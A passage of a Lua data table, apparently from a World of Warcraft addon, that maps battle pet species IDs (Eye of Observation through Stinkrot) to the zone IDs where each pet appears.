[1576] = { [535] = 535 }, -- Eye of Observation
[2090] = { [409] = 409 }, -- Faceless Mindlasher
[2083] = { [294] = 294 }, -- Faceless Minion
[447] = { [57] = 57, [37] = 37 }, -- Fawn
[2526] = { [71] = 71 }, -- Feathers
[519] = { [104] = 104, [539] = 539, [534] = 534, [577] = 577 }, -- Fel Flame
[1760] = { [125] = 125, [627] = 627 }, -- Fel Piglet
[1660] = { [534] = 534, [577] = 577 }, -- Fel Pup
[2132] = { [882] = 882 }, -- Felcrazed Wyrm
[319] = { [84] = 84, [18] = 18 }, -- Feline Familiar
[1731] = { [630] = 630, [650] = 650 }, -- Felspider
[1581] = { [534] = 534, [577] = 577 }, -- Fen Crab
[457] = { [23] = 23 }, -- Festering Maggot
[342] = { [80] = 80 }, -- Festival Lantern
[1802] = { [641] = 641 }, -- Fetid Waveling
[714] = { [418] = 418 }, -- Feverbite Hatchling
[1229] = { [350] = 350, [809] = 809 }, -- Fiendish Imp
[2187] = { [1169] = 1169 }, -- Filthy Slime
[415] = { [198] = 198, [78] = 78, [17] = 17, [36] = 36, [32] = 32 }, -- Fire Beetle
[541] = { [198] = 198, [525] = 525 }, -- Fire-Proof Roach
[146] = { [102] = 102 }, -- Firefly
[1545] = { [585] = 585, [579] = 579 }, -- Firewing
[847] = { [371] = 371 }, -- Fishy
[644] = { [117] = 117 }, -- Fjord Rat
[529] = { [117] = 117 }, -- Fjord Worg Pup
[1325] = { [554] = 554 }, -- Flamering Moth
[1595] = { [535] = 535 }, -- Flat-Tooth Calf
[514] = { [100] = 100 }, -- Flayer Youngling
[395] = { [49] = 49 }, -- Fledgling Buzzard
[1709] = { [630] = 630 }, -- Fledgling Kingfeather
[521] = { [109] = 109 }, -- Fledgling Nether Ray
[1710] = { [630] = 630 }, -- Fledgling Oliveback
[1716] = { [630] = 630 }, -- Fledgling Warden Owl
[2665] = { [1490] = 1490 }, -- Fleeting Frog
[2127] = { [830] = 830 }, -- Flickering Argunite
[1162] = { [226] = 226 }, -- Fluxfire Feline
[2058] = { [52] = 52 }, -- Foe Reaper 0.9
[478] = { [63] = 63, [89] = 89, [66] = 66, [80] = 80, [198] = 198, [57] = 57 }, -- Forest Moth
[407] = { [50] = 50, [210] = 210, [104] = 104, [539] = 539, [650] = 650 }, -- Forest Spiderling
[2438] = { [14] = 14 }, -- Foulfeather
[278] = { [244] = 244, [245] = 245 }, -- Fox Kit
[2440] = { [14] = 14 }, -- Fozling
[1625] = { [339] = 339 }, -- Fragment of Anger
[1627] = { [339] = 339 }, -- Fragment of Desire
[1626] = { [339] = 339 }, -- Fragment of Suffering
[2165] = { [895] = 895 }, -- Francois
[2407] = { [862] = 862, [896] = 896 }, -- Frenzied Cottontail
[2374] = { [942] = 942 }, -- Freshwater Crawler
[2423] = { [864] = 864, [942] = 942 }, -- Freshwater Pincher
[495] = { [63] = 63 }, -- Frog
[1427] = { [525] = 525 }, -- Frostfur Rat
[1578] = { [525] = 525 }, -- Frostshell Pincher
[1471] = { [525] = 525 }, -- Fruit Hunter
[1144] = { [162] = 162 }, -- Fungal Abomination
[756] = { [207] = 207 }, -- Fungal Moth
[2432] = { [14] = 14 }, -- Fuzzy Creepling
[1961] = { [147] = 147 }, -- G0-R41-0N Ultratonk
[1237] = { [1] = 1 }, -- Gahz'rooki
[569] = { [371] = 371, [630] = 630, [650] = 650 }, -- Garden Frog
[477] = { [7] = 7 }, -- Gazelle Fawn
[2474] = { [947] = 947 }, -- Gearspring Hopper
[1442] = { [585] = 585, [579] = 579 }, -- Ghastly Kid
[2077] = { [630] = 630 }, -- Ghost Shark
[190] = { [127] = 127 }, -- Ghostly Skull
[1665] = { [407] = 407 }, -- Ghostshell Crab
[1143] = { [162] = 162 }, -- Giant Bone Spider
[193] = { [125] = 125, [627] = 627 }, -- Giant Sewer Rat
[2383] = { [895] = 895 }, -- Giant Woodworm
[748] = { [390] = 390 }, -- Gilded Moth
[630] = { [62] = 62 }, -- Gilnean Raven
[475] = { [199] = 199 }, -- Giraffe Calf
[1913] = { [641] = 641 }, -- Gleamhoof Fawn
[2647] = { [1355] = 1355 }, -- Glimmershell Scuttler
[2684] = { [1355] = 1355 }, -- Glittering Diamondshell
[1598] = { [585] = 585, [579] = 579 }, -- Glowing Sporebat
[2395] = { [863] = 863 }, -- Glutted Bleeder
[430] = { [71] = 71, [15] = 15, [543] = 543 }, -- Gold Beetle
[260] = { [198] = 198 }, -- Gold Mini Jouster
[2387] = { [862] = 862 }, -- Golden Beetle
[749] = { [390] = 390 }, -- Golden Civet
[750] = { [390] = 390 }, -- Golden Civet Kitten
[1573] = { [542] = 542 }, -- Golden Dawnfeather
[142] = { [94] = 94 }, -- Golden Dragonhawk Hatchling
[1712] = { [634] = 634 }, -- Golden Eaglet
[2711] = { [1490] = 1490 }, -- Golden Snorf
[1332] = { [85] = 85, [556] = 556 }, -- Gooey Sha-ling
[2120] = { [882] = 882 }, -- Grasping Manifestation
[733] = { [388] = 388 }, -- Grassland Hopper
[443] = { [14] = 14 }, -- Grasslands Cottontail
[68] = { [57] = 57 }, -- Great Horned Owl
[2650] = { [1355] = 1355 }, -- Great Sea Albatross
[2409] = { [862] = 862, [895] = 895 }, -- Greatwing Macaw
[50] = { [291] = 291 }, -- Green Wing Macaw
[464] = { [97] = 97 }, -- Grey Moth
[834] = { [422] = 422 }, -- Grinder
[647] = { [241] = 241, [116] = 116 }, -- Grizzly Squirrel
[1622] = { [329] = 329 }, -- Grotesque
[539] = { [198] = 198 }, -- Grotto Vole
[571] = { [371] = 371 }, -- Grove Viper
[2747] = { [23] = 23 }, -- Gruesome Belcher
[1705] = { [641] = 641 }, -- Grumpy
[1345] = { [554] = 554 }, -- Gu'chi Swarmling
[2190] = { [864] = 864 }, -- Guardian Cobra Hatchling
[282] = { [85] = 85 }, -- Guild Herald
[283] = { [85] = 85 }, -- Guild Herald
[281] = { [85] = 85 }, -- Guild Page
[280] = { [85] = 85 }, -- Guild Page
[1338] = { [554] = 554 }, -- Gulp Froglet
[234] = { [121] = 121, [153] = 153 }, -- Gundrak Hatchling
[2545] = { [62] = 62 }, -- Gust of Cyclarus
[2674] = { [1490] = 1490 }, -- H4ND-EE
[1147] = { [232] = 232 }, -- Harbinger of Flame
[448] = { [1] = 1, [14] = 14, [26] = 26 }, -- Hare
[1346] = { [554] = 554 }, -- Harmonious Porcupette
[1157] = { [10] = 10 }, -- Harpy Youngling
[1544] = { [232] = 232 }, -- Hatespark the Tiny
[67] = { [57] = 57 }, -- Hawk Owl
[2399] = { [864] = 864 }, -- Hermit Crab
[550] = { [241] = 241 }, -- Highlands Mouse
[823] = { [241] = 241 }, -- Highlands Skunk
[645] = { [241] = 241 }, -- Highlands Turkey
[130] = { [947] = 947 }, -- Hippogryph Hatchling
[2649] = { [1355] = 1355 }, -- Hissing Chitterspine
[1762] = { [650] = 650 }, -- Hog-Nosed Bat
[2379] = { [942] = 942 }, -- Honey Bee
[332] = { [85] = 85 }, -- Horde Balloon
[1919] = { [85] = 85, [125] = 125, [627] = 627, [862] = 862 }, -- Horde Fanatic
[851] = { [249] = 249 }, -- Horned Lizard
[483] = { [66] = 66, [534] = 534, [577] = 577 }, -- Horny Toad
[2484] = { [407] = 407 }, -- Horse Balloon
[648] = { [25] = 25, [51] = 51, [241] = 241, [121] = 121 }, -- Huge Toad
[1926] = { [790] = 790 }, -- Hungering Claw
[49] = { [50] = 50, [210] = 210 }, -- Hyacinth Macaw
[1541] = { [542] = 542 }, -- Hydraling
[2547] = { [62] = 62 }, -- Hydrath Droplet
[317] = { [338] = 338 }, -- Hyjal Bear Cub
[1631] = { [329] = 329 }, -- Hyjal Wisp
[1457] = { [525] = 525 }, -- Icespine Hatchling
[1532] = { [542] = 542 }, -- Ikky
[534] = { [116] = 116 }, -- Imperial Eagle Chick
[628] = { [106] = 106, [23] = 23, [21] = 21 }, -- Infected Fawn
[627] = { [106] = 106, [23] = 23, [21] = 21 }, -- Infected Squirrel
[2089] = { [367] = 367 }, -- Infernal Pyreclaw
[453] = { [25] = 25 }, -- Infested Bear Cub
[2017] = { [554] = 554 }, -- Infinite Hatchling
[2382] = { [895] = 895 }, -- Inland Croaker
[1387] = { [17] = 17 }, -- Iron Starlette
[1956] = { [147] = 147 }, -- Ironbound Proto-Whelp
[1579] = { [525] = 525 }, -- Ironclaw Scuttler
[2756] = { [1490] = 1490 }, -- Irradiated Elementaling
[442] = { [27] = 27 }, -- Irradiated Roach
[792] = { [85] = 85 }, -- Jade Crane Chick
[446] = { [26] = 26 }, -- Jade Oozeling
[1348] = { [554] = 554 }, -- Jadefire Spirit
[1333] = { [554] = 554 }, -- Jademist Dancer
[1202] = { [508] = 508 }, -- Ji-Kun Hatchling
[699] = { [371] = 371 }, -- Jumping Spider
[565] = { [371] = 371 }, -- Jungle Darter
[678] = { [418] = 418 }, -- Jungle Grub
[1469] = { [543] = 543 }, -- Junglebeak
[2663] = { [1490] = 1490 }, -- Junkheap Roach
[1728] = { [76] = 76, [630] = 630, [790] = 790, [713] = 713 }, -- Juvenile Scuttleback
[1597] = { [542] = 542 }, -- Kaliri Hatchling
[1583] = { [535] = 535 }, -- Kelp Scuttler
[438] = { [15] = 15 }, -- King Snake
[2585] = { [474] = 474 }, -- Kor'thik Swarmling
[1334] = { [85] = 85, [556] = 556 }, -- Kovok
[680] = { [388] = 388 }, -- Kuitan Mongoose
[115] = { [585] = 585, [579] = 579 }, -- Land Shark
[461] = { [95] = 95 }, -- Larva
[307] = { [337] = 337 }, -- Lashtail Hatchling
[429] = { [36] = 36 }, -- Lava Beetle
[423] = { [36] = 36, [32] = 32 }, -- Lava Crab
[2390] = { [862] = 862 }, -- Leafy Flutterwing
[1435] = { [107] = 107, [550] = 550 }, -- Leatherhide Runt
[545] = { [249] = 249 }, -- Leopard Scorpid
[702] = { [371] = 371, [543] = 543 }, -- Leopard Tree Frog
[2532] = { [27] = 27 }, -- Leper Rat
[1234] = { [334] = 334 }, -- Lesser Voidcaller
[1623] = { [339] = 339 }, -- Leviathan Hatchling
[1808] = { [680] = 680 }, -- Leyline Broodling
[2692] = { [1512] = 1512 }, -- Lightless Ambusher
[1226] = { [350] = 350, [809] = 809 }, -- Lil' Bad Wolf
[2416] = { [862] = 862 }, -- Lil' Ben'fon
[320] = { [85] = 85 }, -- Lil' Tarecgosa
[2196] = { [862] = 862 }, -- Lil' Tika
[2444] = { [862] = 862 }, -- Lil' War Machine
[437] = { [48] = 48 }, -- Little Black Ram
[2589] = { [474] = 474 }, -- Living Amber
[1243] = { [508] = 508 }, -- Living Fluid
[1177] = { [508] = 508 }, -- Living Sandling
[408] = { [50] = 50, [210] = 210 }, -- Lizard Hatchling
[543] = { [249] = 249 }, -- Locust
[1159] = { [25] = 25 }, -- Lofty Libram
[1713] = { [650] = 650, [634] = 634 }, -- Long-Eared Owl
[404] = { [78] = 78, [27] = 27, [50] = 50, [210] = 210 }, -- Long-tailed Mole
[1661] = { [585] = 585, [579] = 579 }, -- Lost Netherpup
[458] = { [18] = 18 }, -- Lost of Lordaeron
[2430] = { [862] = 862, [895] = 895 }, -- Lost Platysaur
[2715] = { [1490] = 1490 }, -- Lost Robogrip
[341] = { [80] = 80 }, -- Lunar Lantern
[1922] = { [680] = 680 }, -- Lurking Owl Kitten
[718] = { [418] = 418 }, -- Luyu Moth
[542] = { [249] = 249 }, -- Mac Frog
[450] = { [63] = 63, [95] = 95, [25] = 25, [26] = 26, [18] = 18, [117] = 117, [534] = 534, [577] = 577 }, -- Maggot
[132] = { [108] = 108 }, -- Magical Crawdad
[1955] = { [147] = 147 }, -- Magma Rageling
[708] = { [418] = 418, [376] = 376 }, -- Malayan Quillrat
[709] = { [376] = 376 }, -- Malayan Quillrat Pup
[2676] = { [1490] = 1490 }, -- Malfunctioning Microbot
[136] = { [109] = 109 }, -- Mana Wyrmling
[710] = { [376] = 376 }, -- Marsh Fiddler
[570] = { [371] = 371 }, -- Masked Tanuki
[703] = { [371] = 371 }, -- Masked Tanuki Pup
[1446] = { [107] = 107, [550] = 550 }, -- Meadowstomper Calf
[2670] = { [1490] = 1490 }, -- Mechagon Marmot
[2531] = { [27] = 27 }, -- Mechanical Cockroach
[2410] = { [862] = 862, [895] = 895 }, -- Mechanical Prairie Dog
[215] = { [118] = 118 }, -- Mechanopeep
[2530] = { [947] = 947 }, -- Mechantula
[722] = { [418] = 418 }, -- Mei Li Sparkler
[1227] = { [350] = 350, [809] = 809 }, -- Menagerie Custodian
[2718] = { [1490] = 1490 }, -- Microbot 8D
[2694] = { [1512] = 1512 }, -- Mindlost Bloodfrenzy
[500] = { [77] = 77 }, -- Minfernal
[1156] = { [319] = 319 }, -- Mini Mindslayer
[2534] = { [226] = 226 }, -- Mini Spider Tank
[2638] = { [317] = 317 }, -- Minimancer
[149] = { [108] = 108 }, -- Miniwing
[566] = { [371] = 371 }, -- Mirror Strider
[1744] = { [650] = 650, [634] = 634 }, -- Mist Fox Kit
[422] = { [51] = 51 }, -- Moccasin
[165] = { [333] = 333 }, -- Mojo
[428] = { [32] = 32 }, -- Molten Hatchling
[737] = { [388] = 388 }, -- Mongoose
[739] = { [388] = 388 }, -- Mongoose Pup
[1276] = { [407] = 407 }, -- Moon Moon
[1447] = { [104] = 104, [539] = 539 }, -- Moonshell Crab
[1455] = { [104] = 104, [539] = 539 }, -- Mossbite Skitterer
[2667] = { [1490] = 1490 }, -- Motorized Croaker
[391] = { [49] = 49, [650] = 650 }, -- Mountain Cottontail
[633] = { [65] = 65, [83] = 83, [56] = 56, [116] = 116, [120] = 120 }, -- Mountain Skunk
[385] = { [70] = 70, [7] = 7, [47] = 47, [52] = 52, [56] = 56, [109] = 109, [116] = 116 }, -- Mouse
[286] = { [23] = 23 }, -- Mr. Grubbs
[2660] = { [1355] = 1355 }, -- Muck Slug
[1441] = { [107] = 107, [550] = 550, [542] = 542, [535] = 535, [650] = 650 }, -- Mud Jumper
[1594] = { [543] = 543 }, -- Mudback Calf
[1776] = { [650] = 650 }, -- Mudshell Conch
[210] = { [118] = 118 }, -- Mulgore Hatchling
[2681] = { [1355] = 1355 }, -- Murgle
[2483] = { [407] = 407 }, -- Murloc Balloon
[2713] = { [1490] = 1490 }, -- Mustyfur Snooter
[2696] = { [1512] = 1512 }, -- Nameless Octopode
[2002] = { [18] = 18 }, -- Naxxy
[2682] = { [1355] = 1355 }, -- Necrofin Tadpole
[1954] = { [172] = 172 }, -- Nerubian Swarmer
[1604] = { [125] = 125, [627] = 627 }, -- Nethaera's Light
[557] = { [69] = 69 }, -- Nether Faerie Dragon
[186] = { [108] = 108 }, -- Nether Ray Fry
[638] = { [109] = 109 }, -- Nether Roach
[1228] = { [350] = 350, [809] = 809 }, -- Netherspace Abyssal
[1524] = { [107] = 107, [550] = 550 }, -- Netherspawn, Spawn of Netherspawn
[1664] = { [534] = 534, [577] = 577 }, -- Nightmare Bell
[1723] = { [777] = 777 }, -- Nightmare Whelpling
[1715] = { [125] = 125, [627] = 627 }, -- Nightwatch Swooper
[2563] = { [62] = 62 }, -- Nightwreathed Watcher
[547] = { [198] = 198 }, -- Nordrassil Wisp
[1714] = { [650] = 650 }, -- Northern Hawk Owl
[1727] = { [127] = 127, [125] = 125, [627] = 627 }, -- Nursery Spider
[544] = { [249] = 249 }, -- Oasis Moth
[236] = { [127] = 127 }, -- Obsidian Hatchling
[530] = { [114] = 114 }, -- Oily Slimeling
[1729] = { [76] = 76, [630] = 630, [790] = 790, [713] = 713 }, -- Olivetail Hare
[1335] = { [554] = 554 }, -- Ominous Flame
[2714] = { [1490] = 1490 }, -- OOX-35/MG
[43] = { [37] = 37 }, -- Orange Tabby Cat
[2116] = { [905] = 905 }, -- Orphaned Marsuul
[1125] = { [390] = 390 }, -- Pandaren Air Spirit
[1126] = { [390] = 390 }, -- Pandaren Earth Spirit
[1124] = { [390] = 390 }, -- Pandaren Fire Spirit
[868] = { [390] = 390 }, -- Pandaren Water Spirit
[301] = { [50] = 50 }, -- Panther Cub
[2792] = { [942] = 942 }, -- Papi
[2018] = { [554] = 554 }, -- Paradox Spirit
[2380] = { [895] = 895 }, -- Parasitic Boarfly
[1615] = { [543] = 543 }, -- Parched Lizard
[403] = { [78] = 78, [50] = 50, [51] = 51, [210] = 210 }, -- Parrot
[2686] = { [1355] = 1355 }, -- Pearlescent Glimmershell
[198] = { [115] = 115, [117] = 117 }, -- Pengu
[1663] = { [534] = 534, [577] = 577 }, -- Periwinkle Calf
[175] = { [348] = 348 }, -- Phoenix Hatchling
[1235] = { [334] = 334 }, -- Phoenix Hawk Hatchling
[166] = { [1] = 1, [27] = 27 }, -- Pint-Sized Pink Pachyderm
[1755] = { [125] = 125, [627] = 627 }, -- Plump Jelly
[2041] = { [52] = 52 }, -- Pocket Cannon
[1233] = { [334] = 334 }, -- Pocket Reaver
[2188] = { [864] = 864 }, -- Poda
[409] = { [50] = 50 }, -- Polly
[386] = { [7] = 7, [10] = 10, [199] = 199, [88] = 88, [14] = 14, [52] = 52, [107] = 107, [550] = 550 }, -- Prairie Dog
[2698] = { [1355] = 1355 }, -- Prismatic Softshell
[1568] = { [585] = 585, [579] = 579 }, -- Puddle Terror
[328] = { [322] = 322 }, -- Purple Puffer
[1200] = { [508] = 508 }, -- Pygmy Direhorn
[2133] = { [882] = 882 }, -- Pygmy Marsuul
[1907] = { [641] = 641 }, -- Pygmy Owl
[513] = { [81] = 81 }, -- Qiraji Guardling
[378] = { [76] = 76, [62] = 62, [69] = 69, [80] = 80, [198] = 198, [7] = 7, [65] = 65, [27] = 27, [47] = 47, [37] = 37, [94] = 94, [25] = 25, [49] = 49, [110] = 110, [21] = 21, [84] = 84, [18] = 18, [22] = 22, [52] = 52, [56] = 56, [105] = 105, [107] = 107, [127] = 127, [117] = 117, [550] = 550, [650] = 650 }, -- Rabbit
[472] = { [76] = 76, [65] = 65, [83] = 83 }, -- Rabid Nut Varmint 5000
[2437] = { [14] = 14 }, -- Ragepeep
[2417] = { [864] = 864 }, -- Ranishu Runt
[743] = { [422] = 422 }, -- Rapana Whelk
[417] = { [468] = 468, [63] = 63, [76] = 76, [106] = 106, [62] = 62, [66] = 66, [65] = 65, [14] = 14, [27] = 27, [95] = 95, [179] = 179, [202] = 202, [25] = 25, [48] = 48, [217] = 217, [21] = 21, [84] = 84, [51] = 51, [210] = 210, [26] = 26, [18] = 18, [107] = 107, [111] = 111, [108] = 108, [127] = 127, [117] = 117, [174] = 174, [93] = 93, [302] = 302, [306] = 306, [317] = 317, [291] = 291, [246] = 246, [350] = 350, [160] = 160, [130] = 130, [168] = 168, [162] = 162, [554] = 554, [525] = 525, [550] = 550, [542] = 542, [534] = 534, [577] = 577, [650] = 650, [732] = 732, [809] = 809 }, -- Rat
[399] = { [47] = 47 }, -- Rat Snake
[2080] = { [285] = 285 }, -- Rattlejaw
[431] = { [71] = 71, [15] = 15, [241] = 241 }, -- Rattlesnake
[465] = { [106] = 106 }, -- Ravager Hatchling
[237] = { [78] = 78 }, -- Ravasaur Hatchling
[2590] = { [474] = 474 }, -- Ravenous Prideling
[238] = { [56] = 56 }, -- Razormaw Hatchling
[239] = { [50] = 50, [210] = 210 }, -- Razzashi Hatchling
[2135] = { [885] = 885 }, -- Rebellious Imp
[2564] = { [864] = 864 }, -- Rebuilt Gorilla Bot
[2565] = { [864] = 864 }, -- Rebuilt Mechanical Spider
[1042] = { [376] = 376 }, -- Red Cricket
[143] = { [94] = 94 }, -- Red Dragonhawk Hatchling
[139] = { [109] = 109 }, -- Red Moth
[452] = { [89] = 89, [66] = 66, [57] = 57, [25] = 25, [535] = 535 }, -- Red-Tailed Chipmunk
[392] = { [49] = 49 }, -- Redridge Rat
[2525] = { [49] = 49 }, -- Redridge Tarantula
[744] = { [422] = 422 }, -- Resilient Roach
[439] = { [42] = 42 }, -- Restless Shadeling
[2199] = { [947] = 947 }, -- Restored Revenant
[2394] = { [863] = 863 }, -- Returned Hatchling
[1804] = { [641] = 641 }, -- Risen Saber Kitten
[1453] = { [125] = 125, [627] = 627 }, -- River Calf
[2373] = { [942] = 942 }, -- River Frog
[2378] = { [896] = 896, [942] = 942 }, -- River Otter
[424] = { [63] = 63, [76] = 76, [66] = 66, [65] = 65, [64] = 64, [27] = 27, [47] = 47, [179] = 179, [202] = 202, [48] = 48, [50] = 50, [49] = 49, [210] = 210, [18] = 18, [117] = 117, [118] = 118, [194] = 194, [300] = 300, [317] = 317, [130] = 130, [186] = 186 }, -- Roach
[471] = { [76] = 76, [85] = 85, [83] = 83 }, -- Robo-Chick
[482] = { [66] = 66, [198] = 198, [81] = 81, [105] = 105 }, -- Rock Viper
[1749] = { [634] = 634 }, -- Rose Taipan
[1587] = { [104] = 104, [539] = 539, [535] = 535 }, -- Royal Moth
[1328] = { [554] = 554 }, -- Ruby Droplet
[460] = { [94] = 94 }, -- Ruby Sapling
[1957] = { [147] = 147 }, -- Runeforged Servitor
[271] = { [244] = 244, [245] = 245 }, -- Rustberg Gull
[2669] = { [1490] = 1490 }, -- Rustbolt Clucker
[496] = { [63] = 63 }, -- Rusty Snail
[2661] = { [1490] = 1490 }, -- Rustyroot Snooter
[1958] = { [147] = 147 }, -- Sanctum Cub
[491] = { [71] = 71 }, -- Sand Kitten
[2685] = { [1355] = 1355 }, -- Sandclaw Nestseeker
[2645] = { [1355] = 1355 }, -- Sandclaw Pincher
[2646] = { [1355] = 1355 }, -- Sandclaw Sunshell
[2703] = { [1355] = 1355 }, -- Sandkeep
[2426] = { [864] = 864, [942] = 942 }, -- Sandstinger Wasp
[573] = { [371] = 371 }, -- Sandy Petrel
[2377] = { [895] = 895, [942] = 942 }, -- Sandyback Crawler
[1592] = { [542] = 542 }, -- Sapphire Firefly
[2421] = { [862] = 862, [942] = 942 }, -- Saurolisk Hatchling
[1692] = { [534] = 534, [577] = 577 }, -- Savage Cub
[717] = { [418] = 418 }, -- Savory Beetle
[2436] = { [14] = 14 }, -- Scabby
[528] = { [105] = 105 }, -- Scalded Basilisk Hatchling
[2704] = { [1355] = 1355 }, -- Scalebrood Hydra
[512] = { [81] = 81 }, -- Scarab Hatchling
[414] = { [85] = 85, [81] = 81, [64] = 64, [17] = 17, [36] = 36, [23] = 23, [241] = 241, [105] = 105, [100] = 100, [104] = 104, [539] = 539 }, -- Scorpid
[416] = { [17] = 17 }, -- Scorpling
[538] = { [118] = 118 }, -- Scourged Whelpling
[2042] = { [646] = 646 }, -- Scraps
[2673] = { [1490] = 1490 }, -- Scrapyard Tunneler
[1448] = { [585] = 585, [579] = 579 }, -- Sea Calf
[560] = { [71] = 71, [418] = 418, [585] = 585, [535] = 535 }, -- Sea Gull
[340] = { [407] = 407 }, -- Sea Pony
[1539] = { [534] = 534, [577] = 577 }, -- Seaborne Spore
[2404] = { [942] = 942 }, -- Seabreeze Bumblebee
[2701] = { [1355] = 1355 }, -- Seafury
[172] = { [338] = 338 }, -- Searing Scorchling
[218] = { [118] = 118 }, -- Sen'jin Fetish
[51] = { [210] = 210, [109] = 109 }, -- Senegal
[1601] = { [104] = 104, [539] = 539 }, -- Servant of Demidos
[1754] = { [125] = 125, [627] = 627 }, -- Sewer-Pipe Jelly
[2381] = { [895] = 895 }, -- Shack Crab
[1599] = { [535] = 535 }, -- Shadow Sporebat
[2372] = { [942] = 942 }, -- Shadowback Crawler
[1690] = { [534] = 534, [577] = 577 }, -- Shard of Cyrukh
[1734] = { [641] = 641 }, -- Shimmering Aquafly
[229] = { [118] = 118 }, -- Shimmering Wyrmling
[493] = { [62] = 62 }, -- Shimmershell Snail
[2384] = { [862] = 862 }, -- Shore Butterfly
[388] = { [76] = 76, [241] = 241, [52] = 52, [107] = 107, [114] = 114, [117] = 117, [418] = 418, [550] = 550 }, -- Shore Crab
[629] = { [85] = 85 }, -- Shore Crawler
[2750] = { [23] = 23 }, -- Shrieker
[754] = { [371] = 371 }, -- Shrine Fly
[677] = { [376] = 376 }, -- Shy Bandicoon
[44] = { [109] = 109 }, -- Siamese Cat
[511] = { [81] = 81, [249] = 249 }, -- Sidewinder
[711] = { [376] = 376 }, -- Sifang Otter
[712] = { [376] = 376 }, -- Sifang Otter Pup
[741] = { [422] = 422 }, -- Silent Hedgehog
[494] = { [71] = 71 }, -- Silithid Hatchling
[2163] = { [81] = 81 }, -- Silithid Mini-Tank
[568] = { [371] = 371, [543] = 543, [542] = 542, [535] = 535 }, -- Silkbead Snail
[503] = { [80] = 80, [198] = 198, [78] = 78 }, -- Silky Moth
[144] = { [94] = 94 }, -- Silver Dragonhawk Hatchling
[45] = { [37] = 37 }, -- Silver Tabby Cat
[291] = { [25] = 25 }, -- Singing Sunflower
[2478] = { [84] = 84, [125] = 125, [627] = 627, [895] = 895 }, -- Sir Snips
[1628] = { [339] = 339 }, -- Sister of Temptation
[637] = { [105] = 105 }, -- Skittering Cavern Crawler
[2709] = { [1355] = 1355 }, -- Skittering Eel
[397] = { [468] = 468, [76] = 76, [106] = 106, [47] = 47, [179] = 179, [107] = 107, [108] = 108, [117] = 117, [550] = 550 }, -- Skunk
[1336] = { [554] = 554 }, -- Skunky Alemental
[1350] = { [554] = 554 }, -- Sky Lantern
[2134] = { [882] = 882 }, -- Skyfin Juvenile
[1711] = { [650] = 650 }, -- Skyhorn Nestling
[1326] = { [554] = 554 }, -- Skywisp Moth
[2762] = { [1355] = 1355 }, -- Slimy Darkhunter
[2758] = { [1355] = 1355 }, -- Slimy Eel
[2761] = { [1355] = 1355 }, -- Slimy Fangtooth
[2763] = { [1355] = 1355 }, -- Slimy Hermit Crab
[2760] = { [1355] = 1355 }, -- Slimy Octopode
[2757] = { [1355] = 1355 }, -- Slimy Otter
[2765] = { [1355] = 1355 }, -- Slimy Sea Slug
[2475] = { [947] = 947 }, -- Slippy
[1736] = { [630] = 630, [634] = 634, [641] = 641 }, -- Slithering Brownscale
[419] = { [89] = 89, [66] = 66, [10] = 10, [199] = 199, [57] = 57, [14] = 14, [37] = 37, [94] = 94, [95] = 95, [48] = 48, [51] = 51, [102] = 102 }, -- Small Frog
[90] = { [250] = 250 }, -- Smolderweb Hatchling
[2189] = { [896] = 896 }, -- Smoochums
[387] = { [70] = 70, [69] = 69, [94] = 94, [95] = 95, [48] = 48, [50] = 50, [21] = 21, [52] = 52, [107] = 107, [108] = 108, [102] = 102, [117] = 117, [119] = 119, [121] = 121, [550] = 550 }, -- Snake
[1960] = { [147] = 147 }, -- Snaplasher
[1953] = { [172] = 172 }, -- Snobold Runt
[440] = { [27] = 27 }, -- Snow Cub
[640] = { [25] = 25 }, -- Snowshoe Hare
[72] = { [27] = 27 }, -- Snowshoe Rabbit
[2712] = { [1490] = 1490 }, -- Snowsoft Nibbler
[69] = { [83] = 83 }, -- Snowy Owl
[713] = { [376] = 376 }, -- Softshell Snapling
[1183] = { [508] = 508 }, -- Son of Animus
[1574] = { [622] = 622, [624] = 624 }, -- Son of Sethe
[2049] = { [279] = 279 }, -- Son of Skum
[1966] = { [118] = 118, [186] = 186 }, -- Soulbroken Whelpling
[1201] = { [388] = 388 }, -- Spawn of G'nathus
[2587] = { [474] = 474 }, -- Spawn of Garalon
[2528] = { [1352] = 1352 }, -- Spawn of Krag'wa
[2186] = { [1038] = 1038 }, -- Spawn of Merektha
[2693] = { [1355] = 1355 }, -- Spawn of Nalaada
[489] = { [70] = 70 }, -- Spawn of Onyxia
[2671] = { [1490] = 1490 }, -- Specimen 97
[1185] = { [507] = 507 }, -- Spectral Porcupette
[2397] = { [863] = 863 }, -- Spectral Raven
[412] = { [76] = 76, [70] = 70, [85] = 85, [65] = 65, [57] = 57, [83] = 83, [17] = 17, [27] = 27, [23] = 23, [37] = 37, [95] = 95, [179] = 179, [202] = 202, [25] = 25, [217] = 217, [51] = 51, [26] = 26, [18] = 18, [104] = 104, [117] = 117, [118] = 118, [120] = 120, [121] = 121, [317] = 317, [339] = 339, [350] = 350, [132] = 132, [160] = 160, [185] = 185, [184] = 184, [130] = 130, [183] = 183, [168] = 168, [133] = 133, [136] = 136, [186] = 186, [162] = 162, [333] = 333, [539] = 539, [732] = 732, [809] = 809 }, -- Spider
[1763] = { [650] = 650 }, -- Spiketail Beaver
[433] = { [81] = 81, [15] = 15 }, -- Spiky Lizard
[1337] = { [554] = 554 }, -- Spineclaw Crab
[466] = { [1] = 1, [85] = 85 }, -- Spiny Lizard
[723] = { [418] = 418 }, -- Spiny Terrapin
[572] = { [371] = 371 }, -- Spirebound Crab
[2653] = { [1355] = 1355 }, -- Spireshell Snail
[463] = { [95] = 95 }, -- Spirit Crab
[2584] = { [456] = 456 }, -- Spirit of the Spring
[515] = { [102] = 102 }, -- Sporeling Sprout
[502] = { [78] = 78 }, -- Spotted Bell Frog
[2753] = { [1490] = 1490 }, -- Spraybot 0D
[1739] = { [641] = 641 }, -- Spring Strider
[87] = { [69] = 69 }, -- Sprite Darter Hatchling
[2441] = { [14] = 14 }, -- Squawkling
[379] = { [468] = 468, [63] = 63, [76] = 76, [62] = 62, [70] = 70, [69] = 69, [80] = 80, [198] = 198, [57] = 57, [27] = 27, [47] = 47, [37] = 37, [179] = 179, [25] = 25, [48] = 48, [217] = 217, [21] = 21, [84] = 84, [244] = 244, [245] = 245, [241] = 241, [22] = 22, [52] = 52, [56] = 56, [105] = 105, [107] = 107, [108] = 108, [127] = 127, [117] = 117, [119] = 119, [348] = 348, [398] = 398, [333] = 333, [550] = 550, [542] = 542, [650] = 650, [641] = 641 }, -- Squirrel
[1969] = { [120] = 120 }, -- Stardust
[2393] = { [863] = 863 }, -- Sticky Oozeling
[1911] = { [125] = 125, [627] = 627 }, -- Sting Ray Pup
[492] = { [71] = 71 }, -- Stinkbug
[1629] = { [329] = 329 }, -- Stinkrot
